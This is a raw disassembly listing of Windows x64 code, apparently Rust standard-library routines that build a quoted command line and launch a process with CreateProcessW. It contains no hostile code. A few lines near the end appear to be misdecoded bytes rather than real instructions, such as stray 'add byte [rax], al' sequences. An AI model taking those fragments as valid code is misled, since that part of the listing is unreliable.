mov qword [rax], rbx
mov qword [rax + 0x10], 2
jmp 0x14008a060
cmp qword [rbp + 0x568], 0
mov r13d, r14d
jne 0x140089065
jmp 0x140089077
cmp r15, rax
jb 0x14008a386
test r13d, r13d
je 0x1400894b3
mov rsi, rax
lea rbx, [rax + rax]
movzx eax, byte [0x1400f92c0]
mov edx, 2
mov rcx, rbx
call fcn.14003e500
test rax, rax
je 0x14008a3b2
mov r13, rax
jmp 0x1400894be
mov byte [rbp + 0x5e4], 0
lea rcx, [rbp - 0x10]
call fcn.14008b6f0
mov r13d, r14d
cmp r12, qword [rbp + 0x580]
jne 0x140089173
mov byte [rbp + 0x5e4], 0
lea rcx, [rbp + 0x578]
mov rdx, r12
call fcn.140010730
mov rbx, qword [rbp + 0x578]
mov r12, qword [rbp + 0x588]
jmp 0x140089176
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
xor r13d, r13d
jmp 0x1400894cf
movups xmm6, xmmword [rbp - 8]
jmp 0x1400884b0
mov rbx, r15
mov word [rbx + r12*2], 0
mov rdi, qword [rbp + 0x578]
test rdi, rdi
mov rax, qword [rbp + 0x4d8]
mov r15d, dword [rbp + 0x430]
je 0x1400890ae
mov r14, qword [rbp + 0x580]
cmp byte [rax + 0x88], 2
je 0x140088a3d
mov rcx, rax
mov rax, qword [rax + 0x70]
mov rcx, qword [rcx + 0x80]
add rcx, rax
xor r10d, r10d
mov rdx, rax
jmp 0x1400891d5
xor r10d, r10d
test r8w, r8w
je 0x140089290
mov r8w, 1
test r10w, r10w
jne 0x1400891c8
cmp rdx, rcx
je 0x1400892ae
movzx r11d, byte [rdx]
movzx r9d, r11b
test r9b, r9b
js 0x1400891fe
inc rdx
jmp 0x140089285
mov r10d, r9d
and r10d, 0x1f
movzx esi, byte [rdx + 1]
and esi, 0x3f
cmp r9b, 0xdf
jbe 0x14008924b
movzx r9d, byte [rdx + 2]
shl esi, 6
and r9d, 0x3f
or r9d, esi
cmp r11b, 0xf0
jb 0x14008925b
movzx r11d, byte [rdx + 3]
add rdx, 4
and r10d, 7
shl r10d, 0x12
shl r9d, 6
and r11d, 0x3f
or r11d, r9d
or r11d, r10d
mov r9d, r11d
jmp 0x140089266
add rdx, 2
shl r10d, 6
or r10d, esi
mov r9d, r10d
jmp 0x140089285
add rdx, 3
shl r10d, 0xc
or r9d, r10d
cmp r9d, 0xffff
jbe 0x140089285
and r9d, 0x3ff
or r9d, 0xdc00
mov r10d, r9d
jmp 0x1400891cb
xor r10d, r10d
mov r8d, r9d
jmp 0x1400891cb
lea rax, str.nul_byte_found_in_provided_data
mov rcx, qword [rbp + 0x4f8]
mov qword [rcx], rax
mov qword [rcx + 0x10], 2
jmp 0x14008a049
mov qword [rbp + 0x5c8], r14
mov qword [rbp + 0x570], rdi
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rcx
mov word [rbp], 0
lea rcx, [rbp + 0x500]
lea rdx, [rbp - 0x10]
call fcn.14008b7c0
mov rax, qword [rbp + 0x508]
mov rdx, qword [rbp + 0x510]
cmp rdx, rax
jne 0x140089307
lea rcx, [rbp + 0x500]
call fcn.140010730
mov rax, qword [rbp + 0x508]
mov rdx, qword [rbp + 0x510]
mov qword [rbp + 0x568], rax
mov r12, qword [rbp + 0x500]
mov word [r12 + rdx*2], 0
mov qword [rbp + 0x450], r12
mov rdi, qword [rbp + 0x570]
mov r14, qword [rbp + 0x5c8]
mov qword [rbp + 0x5c8], r14
mov qword [rbp + 0x430], rbx
mov qword [rbp + 0x570], rdi
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x4c0], xmm0
mov qword [rbp + 0x4d0], 0
lea rdi, [0x1400f9208]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1400f9290]
shl rax, 1
mov r14d, r13d
test rax, rax
jne 0x140089bd5
xor esi, esi
mov r13b, byte [0x1400f9210]
xor eax, eax
test r13b, r13b
setne al
mov qword [rbp + 0x580], rdi
mov byte [rbp + 0x588], sil
mov qword [rbp + 0x578], rax
mov qword [rbp + 0x460], 0
mov qword [rbp + 0x470], 0
mov qword [rbp + 0x480], 0
mov dword [rbp - 0x30], 2
cmp byte [rbp + 0x458], 0
lea rcx, [rbp - 0x30]
mov rax, qword [rbp + 0x448]
cmovne rcx, rax
mov rdx, qword [rbp + 0x4d8]
cmp dword [rdx], 6
cmovne rcx, rdx
cmp dword [rdx + 0x10], 6
lea rbx, [rdx + 0x10]
cmove rbx, rax
lea rdi, [rdx + 0x20]
cmp dword [rdx + 0x20], 6
cmove rdi, rax
lea r8, [rbp + 0x460]
mov edx, 0xfffffff6
call fcn.14008e000
mov qword [rbp + 0x598], rdx
test rax, rax
je 0x140089448
mov rax, qword [rbp + 0x4f8]
mov rcx, qword [rbp + 0x598]
mov qword [rax], rcx
mov qword [rax + 0x10], 2
jmp 0x140089fab
lea r8, [rbp + 0x470]
mov rcx, rbx
mov edx, 0xfffffff5
call fcn.14008e000
test rax, rax
je 0x140089478
mov rax, qword [rbp + 0x4f8]
mov qword [rax], rdx
mov qword [rax + 0x10], 2
jmp 0x140089f9e
mov qword [rbp + 0x458], rdx
lea r8, [rbp + 0x480]
mov rcx, rdi
mov edx, 0xfffffff4
call fcn.14008e000
test rax, rax
je 0x140089be5
mov rax, qword [rbp + 0x4f8]
mov qword [rax], rdx
mov qword [rax + 0x10], 2
jmp 0x140089f91
mov rsi, rax
mov r13d, 2
xor ebx, ebx
mov rcx, r13
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rax, rsi
test rdi, rdi
je 0x1400894f0
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x5a8]
mov rsi, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, rsi
test r13, r13
je 0x140089880
mov qword [rbp + 0x460], r13
mov qword [rbp + 0x468], rax
mov rbx, rax
mov qword [rbp + 0x470], rax
lea r12, [0x1400ea37b]
xor r8d, r8d
lea rdi, [rbp + 0x460]
xor ecx, ecx
jmp 0x140089547
mov rax, rbx
mov r15d, ecx
mov r14, r8
mov word [r13 + rax*2], r15w
inc rax
mov rbx, rax
mov qword [rbp + 0x470], rax
mov r8, r14
mov ecx, esi
test r12, r12
je 0x1400895c2
test cx, cx
je 0x140089558
xor esi, esi
jmp 0x14008963e
lea rax, [0x1400ea383]
cmp r12, rax
je 0x1400895c2
movzx r10d, byte [r12]
movzx eax, r10b
test al, al
js 0x140089579
inc r12
jmp 0x14008963a
mov edx, eax
and edx, 0x1f
movzx r11d, byte [r12 + 1]
and r11d, 0x3f
cmp al, 0xdf
jbe 0x1400895f5
movzx r9d, byte [r12 + 2]
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x140089603
movzx eax, byte [r12 + 3]
and edx, 7
shl edx, 0x12
shl r9d, 6
and eax, 0x3f
or eax, r9d
or eax, edx
cmp eax, 0x110000
jne 0x140089612
cmp r8, 1
je 0x1400896a0
mov r14d, 1
xor r12d, r12d
xor r15d, r15d
mov rax, rbx
cmp rbx, qword [rbp + 0x468]
jne 0x1400895ee
neg r8
mov esi, ecx
jmp 0x140089683
mov esi, ecx
jmp 0x14008952f
add r12, 2
shl edx, 6
or edx, r11d
mov eax, edx
jmp 0x14008963a
add r12, 3
shl edx, 0xc
or r9d, edx
mov eax, r9d
jmp 0x140089616
add r12, 4
cmp eax, 0xffff
jbe 0x14008963a
lea ecx, [rax + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
and eax, 0x3ff
or eax, 0xdc00
mov esi, eax
jmp 0x14008963e
xor esi, esi
mov ecx, eax
cmp rbx, qword [rbp + 0x468]
jne 0x140089526
lea rax, [0x1400ea37b]
sub rax, r12
add rax, 0xa
movabs rdx, 0xaaaaaaaaaaaaaaab
mul rdx
mov rax, rbx
mov r14, r8
shr rdx, 1
cmp si, 1
adc r8, 0xffffffffffffffff
sub rdx, r8
inc rdx
mov r15d, ecx
mov r8, rdx
inc r8
mov rcx, rdi
mov rdx, rax
call fcn.1400ae2f0
mov r13, qword [rbp + 0x460]
mov rax, rbx
jmp 0x14008952f
mov rcx, qword [rbp + 0x460]
mov rax, qword [rbp + 0x468]
mov qword [rbp + 0x5b0], rcx
test rcx, rcx
mov rcx, qword [rbp + 0x4d8]
je 0x140089880
mov qword [rbp + 0x5a8], rax
movzx eax, byte [rcx + 0xc5]
mov byte [rbp + 0x570], al
test al, al
setne byte [rbp + 0x5c8]
mov al, 1
test al, al
je 0x14008a39a
mov rax, qword [rcx + 0x90]
mov qword [rbp + 0x568], rax
mov rax, qword [rcx + 0xa0]
mov qword [rbp + 0x440], rax
movzx eax, byte [0x1400f92c0]
mov ecx, 0xc
mov edx, 2
call fcn.14003e500
test rax, rax
je 0x14008a3a1
mov ecx, 6
mov word [rax], 0x63
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rcx
mov qword [rbp], 1
lea r15, [0x1400e9e29]
mov edi, 1
xor r14d, r14d
lea r12, [0x1400e9e37]
lea r13, [0x1400e9e28]
lea rbx, [rbp - 0x10]
jmp 0x140089777
mov rax, qword [rbp - 0x10]
mov word [rax + rdi*2], r14w
inc rdi
mov qword [rbp], rdi
mov r14d, esi
test r14w, r14w
jne 0x14008983e
cmp r15, r12
je 0x140089892
movzx r8d, byte [r15]
movzx r14d, r8b
test r14b, r14b
js 0x14008979f
inc r15
jmp 0x14008983e
mov ecx, r14d
and ecx, 0x1f
movzx r9d, byte [r15 + 1]
and r9d, 0x3f
cmp r14b, 0xdf
jbe 0x1400897f4
movzx edx, byte [r15 + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140089803
movzx r14d, byte [r15 + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and r14d, 0x3f
or r14d, edx
or r14d, ecx
cmp r14d, 0x110000
je 0x140089892
add r15, 4
jmp 0x14008980f
add r15, 2
shl ecx, 6
or ecx, r9d
mov r14d, ecx
jmp 0x14008983e
add r15, 3
shl ecx, 0xc
or edx, ecx
mov r14d, edx
cmp r14d, 0xffff
jbe 0x14008983e
lea ecx, [r14 + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
and r14d, 0x3ff
or r14d, 0xdc00
mov esi, r14d
mov r14d, ecx
jmp 0x140089840
xor esi, esi
cmp rdi, qword [rbp - 8]
jne 0x140089768
mov rax, r13
sub rax, r15
add rax, 0x11
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 1
cmp si, 1
sbb rdx, 0
lea r8, [rdx + 2]
mov rcx, rbx
mov rdx, rdi
call fcn.1400ae2f0
jmp 0x140089764
mov rcx, rax
mov rax, qword [rbp + 0x4f8]
mov qword [rax], rcx
jmp 0x1400889eb
mov rdi, qword [rbp]
mov qword [rbp + 0x510], rdi
movdqu xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp + 0x500], xmm0
cmp rdi, qword [rbp + 0x508]
jne 0x1400898d9
lea rcx, [rbp + 0x500]
mov rdx, rdi
call fcn.140010730
mov r8, qword [rbp + 0x598]
mov rdi, qword [rbp + 0x510]
mov rdx, qword [rbp + 0x5b8]
jmp 0x1400898e7
mov rdx, qword [rbp + 0x5b8]
mov r8, qword [rbp + 0x598]
mov r12, qword [rbp + 0x500]
mov word [r12 + rdi*2], 0x22
inc rdi
mov qword [rbp + 0x510], rdi
lea rax, [r8 + r8]
xor ecx, ecx
lea rbx, [0x1400e9e70]
cmp rax, rcx
je 0x140089921
cmp word [rdx + rcx], 0x22
lea rcx, [rcx + 2]
jne 0x14008990c
jmp 0x140089b78
movzx eax, word [rdx + r8*2 - 2]
cmp ax, 0x5c
je 0x140089b78
lea rbx, [r8 - 1]
xor r14d, r14d
test ax, ax
cmove r14, rdx
test r14, r14
cmove rbx, r8
cmove r14, rdx
mov r15, qword [rbp + 0x508]
mov rax, r15
sub rax, rdi
cmp rax, rbx
jae 0x140089983
lea rcx, [rbp + 0x500]
mov rdx, rdi
mov r8, rbx
call fcn.1400ae2f0
mov rdi, qword [rbp + 0x510]
mov r12, qword [rbp + 0x500]
mov r15, qword [rbp + 0x508]
lea r8, [rbx + rbx]
lea rcx, [r12 + rdi*2]
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
add rdi, rbx
mov qword [rbp + 0x510], rdi
cmp rdi, r15
jne 0x1400899bf
lea rcx, [rbp + 0x500]
mov rdx, r15
call fcn.140010730
mov r12, qword [rbp + 0x500]
mov rdi, qword [rbp + 0x510]
mov word [r12 + rdi*2], 0x22
inc rdi
mov qword [rbp + 0x510], rdi
mov rax, qword [rbp + 0x440]
lea rax, [rax + rax*4]
lea r14, [0x1400e9e8f]
and r14, 0xfffffffffffffff8
lea r15, str._t____________
sub r14, r15
sete cl
cmp r14, 0x16
mov edx, 0x16
cmovae r14, rdx
mov rsi, qword [rbp + 0x568]
lea r12, [rsi + rax*8]
test r14, r14
sete r13b
or r13b, cl
lea rdi, [rbp + 0x500]
cmp rsi, r12
je 0x140089eef
mov rbx, rsi
mov rdx, qword [rbp + 0x510]
cmp rdx, qword [rbp + 0x508]
jne 0x140089a47
mov rcx, rdi
call fcn.140010730
mov rdx, qword [rbp + 0x510]
lea rax, [rdx + 1]
mov rcx, qword [rbp + 0x500]
mov word [rcx + rdx*2], 0x20
mov qword [rbp + 0x510], rax
movzx eax, byte [rbp + 0x5c8]
mov r8d, eax
cmp byte [rbp + 0x570], 0
jne 0x140089b5a
cmp qword [rbx], 0
movzx eax, byte [rbp + 0x5c8]
mov r8d, eax
jne 0x140089b5a
mov rax, qword [rbx + 8]
mov rcx, qword [rbx + 0x18]
add rcx, rax
cmp rax, rcx
je 0x140089b52
movzx edx, byte [rax]
xor r8d, r8d
test r13b, r13b
je 0x140089b06
movzx r9d, dl
movabs r10, 0x101010101010101
imul r9, r10
mov r10, qword [r8 + r15]
xor r10, r9
movabs rsi, 0xfefefefefefefeff
lea r11, [r10 + rsi]
not r10
and r10, r11
xor r9, qword [r8 + r15 + 8]
lea r11, [r9 + rsi]
not r9
and r9, r11
or r9, r10
movabs r10, 0x8080808080808080
test r9, r10
je 0x140089b1f
lea r10, [r15 + r8]
mov r9d, 0x16
sub r9, r8
jmp 0x140089b35
cmp byte [r8 + r15], dl
je 0x140089b57
inc r8
cmp r14, r8
jne 0x140089b06
mov r8, r14
cmp r14, 6
jbe 0x140089aa9
jmp 0x140089b23
add r8, 0x10
mov r9, r8
sub r9, 0x16
je 0x140089b46
add r8, r15
neg r9
mov r10, r8
xor r8d, r8d
cmp byte [r10 + r8], dl
je 0x140089b57
inc r8
cmp r9, r8
jne 0x140089b38
inc rax
cmp rax, rcx
jne 0x140089a9e
xor r8d, r8d
jmp 0x140089b5a
mov r8b, 1
mov rcx, rdi
mov rsi, rbx
mov rdx, rbx
call fcn.14008dac0
mov rbx, rax
add rsi, 0x28
test rax, rax
je 0x140089a1c
cmp qword [rbp + 0x508], 0
je 0x140089b98
mov r8, qword [rbp + 0x500]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x4f8]
mov qword [rax], rbx
mov qword [rax + 0x10], 2
cmp qword [rbp + 0x5a8], 0
je 0x1400889f3
mov rcx, qword [0x1400f91f8]
xor esi, esi
xor edx, edx
mov r8, qword [rbp + 0x5b0]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400889f5
call fcn.1400ae3b0
mov esi, eax
xor sil, 1
jmp 0x140089385
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x534], xmm0
movdqu xmmword [rbp + 0x528], xmm0
movdqu xmmword [rbp + 0x518], xmm0
movdqu xmmword [rbp + 0x508], xmm0
movdqu xmmword [rbp + 0x548], xmm0
movdqu xmmword [rbp + 0x558], xmm0
test rdx, rdx
mov rcx, qword [rbp + 0x458]
jne 0x140089c34
test rcx, rcx
jne 0x140089c34
cmp qword [rbp + 0x598], 0
je 0x140089c5a
mov dword [rbp + 0x53c], 0x100
mov rax, qword [rbp + 0x598]
mov qword [rbp + 0x550], rax
mov qword [rbp + 0x558], rcx
mov qword [rbp + 0x560], rdx
mov qword [rbp + 0x438], rdx
mov rdx, qword [rbp + 0x4d8]
mov rbx, qword [rdx + 0xb8]
test rbx, rbx
je 0x140089d60
add rdx, 0xa8
mov dword [rbp + 0x500], 0x70
lea rcx, [rbp + 0x400]
call fcn.14008e9a0
mov rdi, qword [rbp + 0x400]
mov rcx, qword [rbp + 0x408]
test rdi, rdi
je 0x140089f72
mov qword [rbp + 0x4d8], rcx
or r15d, 0x80000
mov rax, qword [rbp + 0x560]
mov qword [rbp + 0x50], rax
movups xmm0, xmmword [rbp + 0x550]
movaps xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [rbp + 0x540]
movaps xmmword [rbp + 0x30], xmm0
movdqu xmm0, xmmword [rbp + 0x500]
movups xmm1, xmmword [rbp + 0x510]
movups xmm2, xmmword [rbp + 0x520]
movups xmm3, xmmword [rbp + 0x530]
movaps xmmword [rbp + 0x20], xmm3
movaps xmmword [rbp + 0x10], xmm2
movaps xmmword [rbp], xmm1
movdqa xmmword [rbp - 0x10], xmm0
mov qword [rbp + 0x58], rdi
lea rax, [rbp - 0x10]
jmp 0x140089d71
mov rsi, rax
movdqu xmm6, xmmword [rbp - 8]
cmp qword [rbp + 0x5d8], 0
je 0x140089d3b
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x5c8]
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rsi
jmp 0x1400884b0
mov dword [rbp + 0x500], 0x68
lea rax, [rbp + 0x500]
mov rdx, qword [rbp + 0x4e0]
lea rcx, [rbp + 0x4c0]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov rax, qword [rbp + 0x430]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r15d
mov r15, rdx
mov dword [rsp + 0x20], 1
mov rcx, qword [rbp + 0x5b0]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_CreateProcessW]
test eax, eax
je 0x140089f3c
movups xmm0, xmmword [rbp + 0x460]
movups xmm1, xmmword [rbp + 0x470]
movups xmm2, xmmword [rbp + 0x480]
mov rax, qword [rbp + 0x4f8]
movups xmmword [rax + 0x30], xmm2
movups xmmword [rax + 0x20], xmm1
movups xmmword [rax + 0x10], xmm0
movaps xmm0, xmmword [rbp + 0x4c0]
movups xmmword [rax], xmm0
test rbx, rbx
je 0x140089e0b
mov rcx, rdi
mov rdx, qword [rbp + 0x4d8]
call fcn.14008ee80
mov rsi, qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp + 0x438]
call rsi
mov rcx, qword [rbp + 0x458]
call rsi
mov rcx, qword [rbp + 0x598]
call rsi
lea rcx, [rbp + 0x578]
call fcn.14008eec0
cmp qword [rbp + 0x568], 0
je 0x140089e59
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x450]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x5c8], 0
mov rsi, qword [rbp + 0x448]
je 0x140089e80
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x570]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x4e8], 0
je 0x140089e9c
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x5a8], 0
je 0x140089ebc
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x5b0]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x5d8], 0
sete al
or r14b, al
cmp r14b, 1
je 0x140087abd
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x5b8]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140087abd
mov rdi, qword [rbp + 0x508]
mov rdx, qword [rbp + 0x510]
cmp rdx, rdi
jne 0x140089f1c
lea rcx, [rbp + 0x500]
call fcn.140010730
mov rdi, qword [rbp + 0x508]
mov rdx, qword [rbp + 0x510]
mov rax, qword [rbp + 0x500]
mov word [rax + rdx*2], 0x22
inc rdx
mov cl, 1
mov dword [rbp + 0x440], ecx
xor r13d, r13d
jmp 0x140088905
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rcx, qword [rbp + 0x4f8]
mov qword [rcx], rax
mov qword [rcx + 0x10], 2
test rbx, rbx
je 0x140089f84
mov rcx, rdi
mov rdx, qword [rbp + 0x4d8]
call fcn.14008ee80
jmp 0x140089f84
mov rax, qword [rbp + 0x4f8]
mov qword [rax], rcx
mov qword [rax + 0x10], 2
mov rcx, qword [rbp + 0x438]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp + 0x458]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp + 0x598]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rbp + 0x460], 0
je 0x140089fc2
mov rcx, qword [rbp + 0x468]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rbp + 0x470], 0
je 0x140089fd9
mov rcx, qword [rbp + 0x478]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rbp + 0x480], 0
je 0x140089ff0
mov rcx, qword [rbp + 0x488]
call qword [sym.imp.kernel32.dll_CloseHandle]
test r13b, r13b
test sil, sil
mov r13d, r14d
jne 0x14008a00e
mov rax, qword [0x1400f9290]
shl rax, 1
test rax, rax
jne 0x14008a0b1
lea rcx, [0x1400f9208]
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
cmp qword [rbp + 0x568], 0
mov rdi, qword [rbp + 0x570]
mov r14, qword [rbp + 0x5c8]
je 0x14008a049
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x450]
call qword [sym.imp.kernel32.dll_HeapFree]
test r14, r14
je 0x14008a060
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x4e8], 0
je 0x14008a080
mov r8, qword [rbp + 0x4e0]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x5a8], 0
je 0x14008a0a0
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x5b0]
call qword [sym.imp.kernel32.dll_HeapFree]
mov sil, 1
test r13b, r13b
jne 0x140087ab6
jmp 0x1400889f5
call fcn.1400ae3b0
test al, al
jne 0x14008a00e
mov byte [0x1400f9210], 1
jmp 0x14008a00e
mov r13d, r14d
jmp 0x14008907e
mov ecx, 1
mov rdx, rbx
call fcn.1400a9bd0
jmp 0x14008a3bf
call fcn.1400401e0
jmp 0x14008a3bf
mov byte [rbp + 0x5c7], 1
call fcn.1400401e0
jmp 0x14008a3bf
call fcn.1400401e0
jmp 0x14008a3bf
mov ecx, 2
mov rdx, rbx
call fcn.1400a9bd0
jmp 0x14008a3bf
lea r8, str.library_std_src_syswindowsos.rs
mov ecx, 1
xor edx, edx
call fcn.1400a9cf0
jmp 0x14008a3bf
lea rax, str.library_std_src_syswindowsos.rs
mov rcx, r8
mov rdx, r15
mov r8, rax
call fcn.1400a9df0
jmp 0x14008a3bf
lea r8, str.library_std_src_syswindowsos.rs
mov rcx, r13
mov rdx, r15
call fcn.1400a9cf0
jmp 0x14008a3bf
lea rcx, str.assertion_failed:_self.height___0
lea r8, [0x1400e81e8]
mov edx, 0x21
call fcn.1400a9e70
jmp 0x14008a3bf
lea rcx, str.internal_error:_entered_unreachable_code_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.1400a9e70
jmp 0x14008a3bf
lea rcx, str.internal_error:_entered_unreachable_code_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.1400a9e70
jmp 0x14008a3bf
mov byte [rbp + 0x5e7], 1
call fcn.1400401e0
jmp 0x14008a3bf
lea rcx, str.internal_error:_entered_unreachable_code_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.1400a9e70
jmp 0x14008a3bf
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, r15
mov r8, rax
call fcn.1400a9df0
jmp 0x14008a3bf
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, r12
mov r8, rax
call fcn.1400a9df0
jmp 0x14008a3bf
lea r8, str.library_std_src_syswindowsmod.rs
mov rcx, rax
mov rdx, r15
call fcn.1400a9df0
jmp 0x14008a3bf
call fcn.1400401e0
jmp 0x14008a3bf
mov ecx, 2
mov edx, 0xc
call fcn.1400a9bd0
jmp 0x14008a3bf
mov ecx, 2
mov rdx, rbx
call fcn.1400a9bd0
ud2
mov rax, qword [rbp + 0x190]
inc qword [rax + 0x10]
mov r15, qword [rbp + 0x198]
mov byte [r15 + 0x18], 2
add rsp, 0x2f8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movzx ecx, word [r12 + 0x3d0]
mov r12, rax
movaps xmm0, xmmword [rbp + 0x70]
movaps xmm1, xmmword [rbp + 0x80]
movaps xmm2, xmmword [rbp + 0x90]
movaps xmmword [rbp + 0x1c0], xmm2
movaps xmmword [rbp + 0x1b0], xmm1
movaps xmmword [rbp + 0x1a0], xmm0
mov byte [rbp + 0x1d0], r11b
mov eax, dword [rbp + 0x240]
mov edx, dword [rbp + 0x243]
lea r9, [rbp + 0x1d1]
mov dword [r9 + 3], edx
mov dword [r9], eax
cmp r8, rdi
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0x200], r15
jne 0x14008cc91
movzx r9d, cx
movzx r14d, word [r12 + 0x3d2]
cmp r14, 0xb
mov qword [rbp + 0xa0], r10
jb 0x14008ca6a
mov dil, 1
mov r13d, 4
cmp cx, 5
jb 0x14008c2e0
je 0x14008c2cd
cmp r9d, 6
jne 0x14008c2d2
mov r13d, 5
xor edi, edi
xor r9d, r9d
jmp 0x14008c2e0
mov r13, r9
jmp 0x14008c2e0
add r9, 0xfffffffffffffff9
mov r13d, 6
xor edi, edi
nop
mov qword [rbp + 0x248], r9
mov qword [rbp + 0x228], r8
movzx eax, byte [0x1400f92c0]
mov rax, qword [0x1400f91f8]
test rax, rax
jne 0x14008c317
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14008cc7d
mov qword [0x1400f91f8], rax
mov r8d, 0x438
mov rcx, rax
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14008cc7d
mov rbx, rax
mov qword [rbp + 0x208], rdi
mov rcx, rax
mov qword [rbx + 0x160], 0
movzx eax, word [r12 + 0x3d2]
mov r15, r13
not r15
add r15, rax
mov qword [rbp + 0x260], rbx
mov word [rbx + 0x3d2], r15w
imul rcx, r13, 0x38
mov rdx, qword [r12 + rcx + 0x198]
mov qword [rbp + 0xf0], rdx
movups xmm0, xmmword [r12 + rcx + 0x168]
movups xmm1, xmmword [r12 + rcx + 0x178]
movups xmm2, xmmword [r12 + rcx + 0x188]
movaps xmmword [rbp + 0xe0], xmm2
movaps xmmword [rbp + 0xd0], xmm1
movaps xmmword [rbp + 0xc0], xmm0
mov rcx, r13
shl rcx, 5
mov rdx, qword [r12 + rcx]
mov qword [rbp + 0x258], rdx
mov rdx, qword [r12 + rcx + 8]
mov qword [rbp + 0x250], rdx
movups xmm0, xmmword [r12 + rcx + 0x10]
movaps xmmword [rbp + 0xb0], xmm0
cmp r15, 0xb
ja 0x14008ccae
lea rdi, [r13 + 1]
sub rax, rdi
cmp rax, r15
jne 0x14008ccc7
movabs al, byte [0x1b08d280f000001]
add byte [rax], al
movaps xmm2, xmmword [rbp + 0x1c0]
movups xmmword [r14 + 0x20], xmm2
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
movaps xmm0, xmmword [rbp + 0x1e0]
movaps xmmword [rbp + 0x110], xmm0
jmp 0x14008c688
add byte [rax], al
add byte [rax], al
lea rax, [rbx + 0x168]
imul rcx, rdi, 0x38
add rcx, rax
mov r15, r13
sub r15, r10
imul r8, r15, 0x38
mov rdx, r14
mov byte [rbp + 0x208], r11b
call sub.VCRUNTIME140.dll_memmove
mov rax, qword [rbp + 0x1d0]
rol byte [rcx], 1
add byte [rax], al
mov qword [r14 + 0x30], rax
movaps xmm0, xmmword [rbp + 0x1a0]
movaps xmm1, xmmword [rbp + 0x1b0]
movaps xmm2, xmmword [rbp + 0x1c0]
movups xmmword [r14 + 0x20], xmm2
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
movaps xmm0, xmmword [rbp + 0x1e0]
movaps xmmword [rbp + 0x110], xmm0
mov rdx, qword [rbp + 0x248]
shl rdx, 5
add rdx, rbx
mov rcx, rdi
shl rcx, 5
add rcx, rbx
shl r15, 5
mov r8, r15
call sub.VCRUNTIME140.dll_memmove
movzx r11d, byte [rbp + 0x208]
or byte [rdx], al
add byte [rax], al
mov r10, qword [rbp + 0x248]
mov rcx, qword [rbp + 0x200]
mov rax, r10
shl rax, 5
mov qword [rbx + rax], rsi
mov qword [rbx + rax + 8], rcx
